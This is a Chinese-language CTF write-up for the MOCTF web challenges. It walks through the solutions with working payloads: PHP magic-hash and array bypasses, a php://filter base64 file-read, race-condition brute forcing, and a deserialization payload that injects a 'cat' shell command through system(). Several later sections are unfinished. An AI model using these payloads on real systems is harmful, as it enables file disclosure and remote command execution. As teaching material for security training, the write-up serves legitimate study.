MOCTF-WEB-writeup

匿名 (未验证) 提交于 2019-12-02 23:52:01

MOCTF-WEB-writeup

好菜,除了简单的几个题,自己会做,难的都是看老大WP完成的,太菜了

啥姿势都不会,就此记录一下,供日后查看及反省。菜鸡的自我修养

0x01 一道水题

题目链接:http://119.23.73.3:5001/web1/

直接F12了解一下,get flag:moctf{easy_source_code}

0x02 还是水题

题目链接:http://119.23.73.3:5001/web2/

F12查看源码。

修改之后,输入moctf提交就可以行了。get flag:moctf{break_the_html}

0x03 访问限制

http://119.23.73.3:5001/web3/

BP抓包,将代理的浏览器设置为NAIVE,重新发包。get flag:moctf{http_header_1s_easy}

0x04 机器蛇

http://119.23.73.3:5001/web4/

F12查看源码

然后访问robots.txt

最后访问图中的地址,即可获得Flag

get flag:moctf{g0Od_r0bots_txt}

0x05 PHP黑魔法

题目链接:http://119.23.73.3:5001/web5/

这题,输了index.php,看不到任何东西,也不会跳转到其他页面,题目给的提示也没说php~

我太难了

根据大佬们之前做的,访问index.php~,查看源码

 

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

可以用两种方法绕过

1、直接将需要传参的值赋成如下就行了,md5之后是相等的:

QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a sha1(str) sha1('aaroZmOk')   sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')//比如说URL传参为  //http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZO

2、利用MD5不能处理数组的特性绕过也行

//这里根据题意,a,b不相等,md5($a)==md5($b),如下传参也行,URL中的69,自己随意改,不相等就行http://119.23.73.3:5001/web5/index.php?a[]=6&b[]=9

最后的flag为:moctf{PHP_1s_b4st_language}

0x06 我想要钱

题目链接:http://119.23.73.3:5001/web6/

打开得到源码

<?php     include "flag.php";     highlight_file(__FILE__);      if (isset($_GET['money'])) {         $money=$_GET['money'];         if(strlen($money)<=4&&$money>time()&&!is_array($money))         {             echo $flag;             echo "<!--By:daoyuan-->";         }         else echo "Wrong Answer!";     }     else echo "Wrong Answer!"; ?>  Wrong Answer!

代码审计。想要获得Flag,需要满足三个条件:

//money的长度小于4、money的值大于time、最后不能为数组

if(strlen($money)<=4&&$money>time()&&!is_array($money))

money使用科学计数就可以了,长度小,也得以很大

比如?money=3e9

get flag:moctf{I_ne4d_much_m0ney}

0x07 登录就对了

题目链接:http://119.23.73.3:5002/index.php

构造万能密码,直接就可以登录成功,登录成功之后,F12查看源码即可获得Flag,get flag:moctf{SQLi_Log_1n_4asy}

这里讲的万能密码还不错:https://www.freebuf.com/column/150063.html

0x08 文件包含

题目链接:http://119.23.73.3:5001/web8/index.php?file=welcome.txt

查看源码,发现有一个flag.php,根据题目文件包含,可以用php://filter伪协议来读取flag的内容

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

打开之后会得到一串字符,直接base64解码即可看到flag

get flag:moctf{f1le_includ4_e5sy}

0x09 暴跳老板

题目链接:http://119.23.73.3:5006/web1/

hint:老板暴跳如雷,骂道:你怎么又没有按照我的意愿发邮件?

发啥都不管用,只会这样弹窗

BP抓包试试

根据题目提示,安装他说的发送,以及弹窗,应该用Dear的名义发送MyBoss过去

get flag:moctf{00.oo_BBoo_0os}

0x10 Flag在哪?

题目链接:http://119.23.73.3:5001/web7/

打开网页,有一个getflag的链接,点击去啥也没有,There is no flag!

御剑扫一波,扫不到东西,BP打开,抓包试试。可以看到Response里面

Location有新的链接地址,复制发包,最后又回到了最开始的位置,果然

人不能忘了初心,如果人人都初心哥,是不是可以迎娶白富美了(嘤嘤嘤)

想不到,看看表哥们的姿势。

好吧,将之前得到的组合一下flagfrog.php,访问,即可获得flag

之前获得的

/where_is_flag.php
/flag.php
/I_have_a_frog.php
/I_have_a_flag.php
/no_flag.php

get flag:moctf{wh4re_1s_The_F149}

0x11 美味的饼干

题目链接:http://119.23.73.3:5001/web9/

登录页面,直接使用admin登录就可以登录成功,密码都不需要。BP抓包看看

多次登录BP,发现这里的Cookie是一个定值

发现里面的字符都是0-9,a-f,MD5解密,解密之后为user,前面用户输入的是admin,这里解密出来为user,那么将admin先进行md5加密,再base64加密,然后添加到cookie继续发包即可获得flag

get flag:moctf{Co0kie_is_1nter4sting}

0x12 没时间解释了

题目链接:http://119.23.73.3:5006/web2/index2.php

御剑扫描,发现新大陆。

访问试试

提交之后,得到一串字符:Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/1338ecebb918f207a7de77008477d150d892c8d4/flag

访问之后,Too Show,不管提交什么,他前面的地址都一样,但是访问的时候,又看不到,应该是提交之后,服务器再很短的时间又给删除了。

所以,去访问的时候总是得不到想要的。本题考查的是条件竞争,直接利用BP里面的Intruder模块进行爆破,来获取

需要进行两次抓包,同时发送包,来达到短时间获取

先抓提交页面的包

然后设置Payload,选择Null payload,下面的continue indefinitely就是持续发送,一直请求设置完成之后,开始攻击(start attack)

开始攻击之后,放在后台,让他持续发送。接下来继续抓第二个包。

和上面一样的设置,然后发送攻击。

get flag:moctf{y0u_n4ed_f4st}

0x13 死亡退出

题目链接:http://119.23.73.3:5003/

代码审计

<?php   show_source(__FILE__);   $c="<?php exit;?>";   @$c.=$_POST['c'];   @$filename=$_POST['file'];    if(!isset($filename))                       {                                            file_put_contents('tmp.php', '');    }                                    @file_put_contents($filename, $c);   include('tmp.php'); ?>

先看看代码

首先先定义可一个变量c,里面为一个php代码,退出功能。

接着是以post的方式获取变量c,这里 .= 表示他会和上面变量c的内容链接起来。

除了post变量c,下面还post了file,那么就是需要同时传c和file来获取flag吧

file_put_contents()函数把一个字符串写入文件中。  该函数访问文件时,遵循以下规则:  1.如果设置了FILE_USE_INCLUDE_PATH,那么将检查* filename *副本的内置路径 2.如果文件不存在,将创建一个文件 3.打开文件 4.如果设置了LOCK_EX,那么将锁定文件 5.如果设置了FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容 6.向文件中写入数据 7.关闭文件并对所有文件解锁  如果成功,该函数将返回写入文件中的字符数。如果失败,则返回错误。

未完待续

0x14 火眼金睛

http://119.23.73.3:5001/web10/

打开之后

python脚本为:

import requests import re targeturl = "http://119.23.73.3:5001/web10/" r = requests.get(url=targeturl) res_tr = r"'100'>(.*?)</textarea>" flagtxt =  re.findall(res_tr,r.content)[0] re_moctf = r"moctf" moctf = re.findall(re_moctf,flagtxt) number = len(moctf) ans = {     "answer":number } url2 = "http://119.23.73.3:5001/web10/work.php" s = requests.post(url=url2,data=ans,cookies=r.cookies) print s.content

https://www.jianshu.com/p/4bf347959bd5

get flag:moctf{Programming_1s_important_!!}

0x15 unset

题目链接:http://119.23.73.3:5101/

只给给代码了,代码审计:

<?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){     //这里定义的waf函数,正则匹配flag,如果输入flag,将退出并输出 are you a hacker         if(preg_match('/flag/i',$key)){         exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) {     //定义一个数组,然后放入变量__R中,接下来进行判断$$__R = $($__R) = $_POST(遍历的第一个)     //然后开始遍历,首先$_POST,将post传参的值赋给$__v     //如果$$__k存在,并且$$__k == $__v的话,那么就销毁掉$$__k         if($$__R) {          foreach($$__R as $__k => $__v) {              if(isset($$__k) && $$__k == $__v) unset($$__k);          }      }  }//根据提交参数的方式,进行相应的waf函数 if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} //检查POST参数每个键名是否合法是否有冲突EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){         exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){         include($_GET['file']); } }  ?>

分析(看了很多大佬的WP,自己也记录下,方便以后观看):

漏洞源地址:http://www.secevery.com:4321/bugs/wooyun-2014-063895

关键点在于:

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {         if($$__R) {          foreach($$__R as $__k => $__v) {              if(isset($$__k) && $$__k == $__v) unset($$__k);          }      }  }
if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP);

算了,以后理解透了,再回来写,没理解 ,写不下去,太菜了???

0x16 PUBG

题目链接:http://120.78.57.208:6001/?LandIn=school

在这里可以获取源码

<html> <title>MOCTF吃鸡大赛</title> <style type="text/css">  a{      text-decoration:none;     color:white; }  body {     background:url('image/PUBG.jpg');     background-attachment:fixed;     background-repeat:no-repeat;     background-size:cover;     -moz-background-size:cover;     -webkit-background-size:cover; } center {     color:white; } </style> <body> <center> <p>你现在正在飞机上,请选择要跳的地方</p></br> <p><a href="?LandIn=airport">机场</a></p> <p><a href="?LandIn=school">学校</a></p> <p><a href="?LandIn=field">打野</a></p> <p><a href="?LandIn=AFK">上个厕所</a></p> </center> </body> </html> <?php     error_reporting(0);     include 'class.php';     if(is_array($_GET)&&count($_GET)>0)     {         if(isset($_GET["LandIn"]))         {             $pos=$_GET["LandIn"];         }         if($pos==="airport")         {             die("<center>机场大仙太多,你被打死了~</center>");         }         elseif($pos==="school")         {             echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');             $pubg=$_GET['pubg'];             $p = unserialize($pubg);             // $p->Get_air_drops($p->weapon,$p->bag);         }         elseif($pos==="AFK")         {             die("<center>由于你长时间没动,掉到海里淹死了~</center");         }         else         {             die("<center>You Lose</center>");                      }     } ?>

可以看到,在上面引用了class.php,同样的道理,获取一波源码,class.php.bak

再下面,有用的信息有,需要$pos===school,并且URL传参pubg,且需要反序列化,到此结束。

再看class.php的内容:

<?php     include 'waf.php';     class sheldon{         public $bag="nothing";         public $weapon="M24";         // public function __toString(){         //     $this->str="You got the airdrop";         //     return $this->str;         // }         public function __wakeup()         {             $this->bag="nothing";             $this->weapon="kar98K";         }         public function Get_air_drops($b)         {                 $this->$b();         }         public function __call($method,$parameters)         {             $file = explode(".",$method);             echo $file[0];             if(file_exists(".//class$file[0].php"))             {                 system("php  .//class//$method.php");             }             else             {                 system("php  .//class//win.php");             }             die();         }         public function nothing()         {             die("<center>You lose</center>");         }         public function __destruct()         {             waf($this->bag);             if($this->weapon==='AWM')             {                 $this->Get_air_drops($this->bag);             }             else             {                 die('<center>The Air Drop is empty,you lose~</center>');             }         }     } ?>

这里又引用了waf.php,可惜不能得到源码

这里,他定义了一个sheldon类,从index.php来看,序列化应该是需要构造这个对象了

http://she1don.cn/

在这个类里面,又两个成员变量,和5个成员函数

先来看第一个函数,__wakeup魔法函数,__wakeup()函数在其所在对象反序列化的时候自动调用。一旦调用之后,成员变量就会变成bag=nothing,weapon=kar98k

(这里需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法)

再来看第二个函数:Get_air_drops($b)

  这个函数就是传入b这个变量,然后执行b()这个函数

第三个函数:__call($method,$parameters)

__call函数是用于监视错误的方法调用的,也就是说如果,我们调用了不在sheldon类里面的函数,这个函数就会执行,这里是可控的地方,解题的关键。

在函数里面,需要(file_exists(".//class$file[0].php"))这个成立,才有机会执行systen系统命令,才有机会获取flag

最后一个函数:__destruct(),为析构函数,他在对象内容执行结束后会调用析构函数,也就是说必然会执行这个函数,这里也需要操作,这里只有weapon==AWM的时候,才会执行之前的Get_air_drops($b)函数,而这里他把b变量变成了bag,也就是说,在Get_air_drops($bag),会执行bag()函数,这不是sheldon类里面的,这样就会调用__call函数。

最后理一下,在这个脚本中,肯定会执行析构函数,然后,让$b变成不是sheldon类里面的函数,从而调用__call,因为在脚本中,存在检测反序列化的魔法函数__weakup(),这里需要先绕过,这样才能使得不让初始的成员变量的值变成__weakup里面的值,导致无法调用Get_air_drops($b)函数。绕过之后,就可以来执行__call函数了,就可以构造我们的命令,来获取flag。

所以最后的payload为:&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

URL为:http://120.78.57.208:6001/?LandIn=school&pubg=O:7:%22sheldon%22:3:{s:3:%22bag%22;s:27:%22//win.php|%20cat%20./class/flag%22;s:6:%22weapon%22;s:3:%22AWM%22;}

提交之后,在源码里面就可以看到flag了

get flag:moctf{Try_Learn_PhP_h4rder_wow}

0x17 网站监测

0x18 Code Revolution

0x19 简单注入

0x20 简单审计

0x21 EasySQL

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!